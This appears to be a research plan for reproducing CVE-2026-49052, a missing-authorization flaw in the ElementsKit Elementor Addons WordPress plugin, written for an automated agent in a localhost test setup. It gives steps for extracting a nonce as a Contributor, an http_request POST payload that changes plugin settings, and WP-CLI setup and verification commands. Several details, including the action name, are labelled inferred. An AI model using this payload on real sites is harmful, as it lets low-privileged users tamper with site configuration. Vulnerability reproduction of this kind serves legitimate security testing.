Research Plan: CVE-2026-49052 - Missing Authorization in ElementsKit Elementor Addons

1. Vulnerability Summary

The ElementsKit Elementor Addons plugin (<= 3.9.6) contains a missing authorization vulnerability. Specifically, an AJAX handler registered via wp_ajax_* fails to perform a current_user_can() check. While WordPress ensures the user is authenticated for wp_ajax_ hooks, it does not restrict access by role. This allows any authenticated user (starting from the Contributor role) to trigger administrative actions, such as modifying plugin settings or activating/deactivating modules.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable Action (Inferred): Likely elementskit_save_admin_settings or ekit_admin_action.
• Required Authentication: Contributor-level session (or higher).
• Preconditions: The attacker must have a valid login. ElementsKit must be active.
• Parameter: Typically a POST request containing an action, a nonce, and the configuration payload (e.g., settings or module_status).

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action in its initialization phase (likely in libs/framework/classes/settings.php or core/admin/admin-settings.php).
   • add_action( 'wp_ajax_elementskit_save_admin_settings', [ $this, 'save_settings' ] );
2. Missing Check: The callback function (e.g., save_settings) verifies the nonce using check_ajax_referer() or wp_verify_nonce() but fails to call current_user_can( 'manage_options' ).
3. Sink: The function proceeds to update plugin options using update_option() based on the values provided in $_POST.

4. Nonce Acquisition Strategy

ElementsKit localizes its configuration data for the admin dashboard. Since the vulnerability requires Contributor access, the attacker can access the WordPress admin area, where the nonce is typically exposed.

1. Identify Localized Script: Look for wp_localize_script calls in the plugin source that reference "nonce".
2. Target Variable: In ElementsKit, the data is often stored in the ekit_config or elementskit_ajax_utils JavaScript object.
3. Extraction Steps:
   • Login as a Contributor.
   • Navigate to any page in the admin dashboard (e.g., /wp-admin/profile.php).
   • Use browser_eval to extract the nonce:
     browser_eval("window.ekit_config?.nonce") or browser_eval("window.elementskit_config?.ajax_nonce").
4. Action String: If wp_verify_nonce is used with a specific action string (e.g., 'ekit-admin-settings-nonce'), the agent must verify if that action is used when the nonce is created.

5. Exploitation Strategy

The goal is to modify a plugin setting (e.g., disabling a security-related module or changing a layout setting) as a low-privileged user.

Step 1: Discover the exact AJAX action

Since source code is not provided, the agent should first search the plugin directory:
grep -rn "wp_ajax_elementskit" /var/www/html/wp-content/plugins/elementskit-lite/

Step 2: Prepare Payload

Assuming the action is elementskit_save_admin_settings:

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: elementskit_save_admin_settings (Verify via grep)
  • _wpnonce: [EXTRACTED_NONCE]
  • settings[some_module_active]: 0 (or another setting key found in the code)

Step 3: Execute via http_request

// Example payload for the automated agent
await http_request({
  url: "http://localhost:8080/wp-admin/admin-ajax.php",
  method: "POST",
  headers: { "Content-Type": "application/x-www-form-urlencoded" },
  body: "action=elementskit_save_admin_settings&_wpnonce=" + nonce + "&settings[elementor_library]=inactive"
});

6. Test Data Setup

1. Install Plugin: Ensure elementskit-lite version 3.9.6 is installed and active.
2. Create User: Create a user with the Contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
3. Initial State: Confirm the current value of ElementsKit settings.
   • wp option get elementskit_settings (or the relevant option name found during discovery).

7. Expected Results

• Response: The server should return a 200 OK response, often with a JSON body like {"success": true} or {"data": "Settings saved"}.
• Effect: The targeted plugin setting in the database is modified despite the request coming from a Contributor.

8. Verification Steps

After sending the HTTP request, verify the change using WP-CLI:

1. Check Options: wp option get elementskit_settings (Check if the value matches the payload).
2. Compare: Compare the output with the "Initial State" recorded during setup. If the value changed, the authorization bypass is confirmed.

9. Alternative Approaches

• Module Activation: If save_admin_settings is not the vulnerable function, check for elementskit_module_activation.
• REST API: Check if the plugin registers any REST routes via register_rest_route without a permission_callback.
  • grep -rn "register_rest_route" /var/www/html/wp-content/plugins/elementskit-lite/
• Widget Data: Some widgets might have AJAX save actions for their specific configurations that lack capability checks.